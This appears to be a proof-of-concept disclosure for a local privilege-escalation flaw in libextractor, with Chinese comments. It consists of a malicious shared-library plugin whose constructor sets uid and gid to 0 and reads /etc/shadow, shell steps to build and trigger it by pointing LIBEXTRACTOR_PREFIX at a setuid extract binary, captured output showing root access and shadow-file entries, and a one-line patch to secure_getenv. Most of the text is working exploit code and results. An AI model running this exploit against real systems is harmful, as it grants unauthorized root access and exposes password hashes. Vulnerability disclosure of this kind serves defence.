/*
 * evil_plugin.c — 用于提权的恶意 libextractor 插件
 * 编译：gcc -shared -fPIC -o libextractor_ole2.so evil_plugin.c
 *
 * 将其放置在某个目录中，并将 LIBEXTRACTOR_PREFIX 设置为该目录。
 * 当任何 setuid 应用程序加载 OLE2 插件时，此构造函数
 * 会提升为完整的 root（uid=0, gid=0）并运行任意命令。
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void pwn(void) {
    /* 提权：euid=0 允许 setuid(0)，从而设置真实 uid=0 */
    setuid(0);
    setgid(0);

    /* 现在以完整的 root 身份运行 — shell 命令可以正常工作 */
    system("echo '=== PRIVILEGE ESCALATION PROOF ===' > /tmp/privesc_proof");
    system("id >> /tmp/privesc_proof");
    system("echo '' >> /tmp/privesc_proof");
    system("echo '--- /etc/shadow (root-only) ---' >> /tmp/privesc_proof");
    system("head -3 /etc/shadow >> /tmp/privesc_proof");
}

int _EXTRACTOR_ole2_extract_method = 0;

# 1. 编译恶意插件
mkdir -p /tmp/evil_plugins
gcc -shared -fPIC -o /tmp/evil_plugins/libextractor_ole2.so evil_plugin.c

# 2. 模拟配置错误（setuid）的目标二进制文件
sudo chown root:root /usr/local/bin/extract
sudo chmod u+s /usr/local/bin/extract

# 3. 以非特权用户身份触发漏洞利用
rm -f /tmp/privesc_proof
LIBEXTRACTOR_PREFIX=/tmp/evil_plugins /usr/local/bin/extract testfile.doc

$ cat /tmp/privesc_proof
=== PRIVILEGE ESCALATION PROOF ===
uid=0(root) gid=0(root) groups=0(root),1000(user)

--- /etc/shadow (root-only) ---
root:!:20223:0:99999:7:::
daemon:*:19977:0:99999:7:::
bin:*:19977:0:99999:7:::

if (NULL != (p = getenv("LIBEXTRACTOR_PREFIX")))

-  if (NULL != (p = getenv ("LIBEXTRACTOR_PREFIX")))
+  if (NULL != (p = secure_getenv ("LIBEXTRACTOR_PREFIX")))